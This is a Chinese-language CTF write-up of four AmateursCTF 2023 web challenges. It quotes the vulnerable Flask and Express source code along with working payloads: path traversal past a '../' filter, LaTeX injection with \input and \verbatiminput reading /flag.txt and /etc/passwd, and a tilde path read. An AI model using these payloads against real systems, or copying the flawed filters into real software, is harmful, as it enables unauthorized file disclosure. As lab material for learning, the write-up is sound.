AmateursCTF 2023

1
更多内容在这篇博客

前言

虽然说这个比赛是针对于美国高中生的,可是也不是很简单,美国高中生这么D吗,该努力了。

web

waiting-an-eternity

我的朋友给我发了这个网站,并说如果我等得足够长,我就可以得到并举报!并不是说我需要一面旗帜或任何东西,但我已经等了几天了,它仍然要求我等待。我有点不耐烦了,你能帮我拿旗子吗?

抓包得到线索:
1
访问后发现每刷新一次set-cookie就会变一次,它跟时间也有一些关系。
2
那么我们添加一个cookie值
3
经过几次测试,当time为负数且足够小时就会出现flag。
3
这里时间的表示你可以正常表示,也可以使用科学计数法,也可以使用==-inf/-Infinity==来表示无穷小。

funny factorials

我制作了一个阶乘应用程序!它是如此的奇特和迷人。然而,阶乘似乎无法正确计算大数!你能帮我解决它吗?

1

分析数据包可以猜测在切换主题的数据包中有疑似文件读取漏洞。/?theme=themes/theme1.css,题目给的还有附件
app.py文件

from flask import Flask, render_template, request
import sys

app = Flask(__name__)

def factorial(n):
    if n == 0:
        return 1
    else:
        try:
            return n * factorial(n - 1)
        except RecursionError:
            return 1

def filter_path(path):
    # print(path)
    path = path.replace("../", "")
    try:
        return filter_path(path)
    except RecursionError:
        # remove root / from path if it exists
        if path[0] == "/":
            path = path[1:]
        print(path)
        return path

@app.route('/')
def index():
    safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))
    f = open(safe_theme, "r")
    theme = f.read()
    f.close()
    return render_template('index.html', css=theme)

@app.route('/', methods=['POST'])
def calculate_factorial():
    safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))

    f = open(safe_theme, "r")
    theme = f.read()
    f.close()
    try:
        num = int(request.form['number'])
        if num < 0:
            error = "Invalid input: Please enter a non-negative integer."
            return render_template('index.html', error=error, css=theme)
        result = factorial(num)
        return render_template('index.html', result=result, css=theme)
    except ValueError:
        error = "Invalid input: Please enter a non-negative integer."
        return render_template('index.html', error=error, css=theme)

if __name__ == '__main__':
    sys.setrecursionlimit(100)
    app.run(host='0.0.0.0')

dockerfile文件

FROM python:3.10-slim-buster

RUN pip3 install flask
COPY flag.txt /

WORKDIR /app
COPY app/* /app/
copy app/templates/* /app/templates/
copy app/themes/* /app/themes/

EXPOSE 5000

ENTRYPOINT ["python3", "app.py"]

可以得知flag文件名为flag.txt,path = path.replace("../", "")这里把../也给过滤了
绕过的话我试了试发现//flag.txt和..///flag.txt都可以绕过
1

latek

bryanguo(与ctf无关)一直说它的发音是latek,而不是像手套材料那样的乳胶。不管怎样,我制作了这个简单的应用程序,这样他就不再支付背页的费用了。
注意:标志仅在/flag.txt

1
这个就是一个在线的LaTex编辑器,将编辑的内容以pdf的文件形式展现出来,查看了一篇国外大佬的博客,介绍了LaTex注入的一些语法。

输入

\documentclass{article}
\begin{document}
Hello, world!
\input{/flag.txt}
\end{document}

会发现给出了一部分flag
1
那么另一部分怎么得到呢?借鉴了wp看到他使用了批处理模式

\batchmode:在 LaTeX 中,该命令会抑制所有终端和日志文件输出,这意味着编译过程不会在终端上产生任何消息或提示。它通常用于以批处理模式运行 LaTeX,在处理文档时不会中断用户输入或反馈。当您想要自动化文档生成过程时,这会很有帮助

\documentclass{article}
\begin{document}
Hello, world!
\batchmode
\input{/flag.txt}
\end{document}

\documentclass{article}
\begin{document}
Hello, world!
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
\end{document}

在LaTeX文档中,\usepackage{verbatim}用于导入名为"verbatim"的宏包,它提供了在文档中插入原始文本(verbatim文本)的功能。当你希望在文档中原样显示一段代码、配置文件或其他任何文本时,通常会使用该宏包。

1
参考链接
链接
链接

uwuctf

这个 rust uwuifier 速度太快了,我确信只要我能欺骗我的节点,它就会扩展到月球。uwuifier 即服务专业版何时订阅?
更新:zip 几乎与服务器相同,除了我们删除了challenge.yml 和flag.txt

1
这里就是访问上面的文件当我利用LFI漏洞时发现../被过滤了。后续测试了很多遍也没有思路。最后看见别人的wp结合源码
这是index.js文件


import {config} from "dotenv";
config();

import fs from "fs";
import path from "path";

import {quote} from "shell-quote";
import {exec} from "child_process";

const textsDir = path.join(process.cwd(), "public", "texts");
const uwuifierPath = path.join(process.cwd(),"uwuify");

import express from "express";
const app = express();

import morgan from "morgan";
app.set('trust proxy', ['loopback', 'linklocal', 'uniquelocal']);
app.use(morgan("combined"));

app.get("/", (req, res) => {
  res.sendFile("public/index.html", {
    root: process.cwd() // bug fix
  });
});


app.get("/uwuify", (req, res) => {
  res.type("txt");
  if(req.query.src){
    if(req.query.src.includes("..") || req.query.src.includes("./") || req.query.src.startsWith("/") || req.query.src.startsWith("-")){
      res.send("no hacking >:(");
      res.end();
      return;
    }
    let cmd = "cat " + quote([req.query.src]) + " | " + uwuifierPath;
    exec(cmd, {
      cwd: textsDir
    }, (err, stdout, stderr) => {
      res.send(stdout + stderr);
      res.end();
    });
  }else{
    res.send("no src provided");
  }
});

app.get("/dir", async (req, res) => {
    res.type("txt");
    let output = "texts avali to uwuify: ";
    let files = await fs.promises.readdir(textsDir);
    for(let file of files){
        output += "\r\n" + file;
    }
    output += "\r\n\r\nUse /uwuify?src=<text file name> to uwuify a text file!";
    res.send(output);
});

app.listen(process.env.PORT || 3000, () => {
  console.log("Server Up!");
});

这是dockerfile文件

FROM node:16
COPY ./* /home/node/app/
COPY ./public/* /home/node/app/public/
COPY ./public/texts/* /home/node/app/public/texts/
WORKDIR /home/node/app
RUN npm install
ENV PORT=8082
RUN chown -R node:node /home/node/app
USER node
CMD ["bash", "launch.sh"]
EXPOSE 8082

可以看到实际上flag.txt就在/home/node/app/flag.txt
读取当前目录使用~,其实https://uwuasaservice.amt.rs/uwuify?src=~也就是cat ~,这个时候爆出路径

cat: /home/node: Is a directory

那么下面就直接读取flag文件
https://uwuasaservice.amt.rs/uwuify?src=~/app/flag.txt

amateuwsctf{so_wmao_this_fwag_is_gonna_be_a_wot_wongew_than_most_fwag_othew_fwags_good_wuck_have_fun_decoding_it_end_of_fwag}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值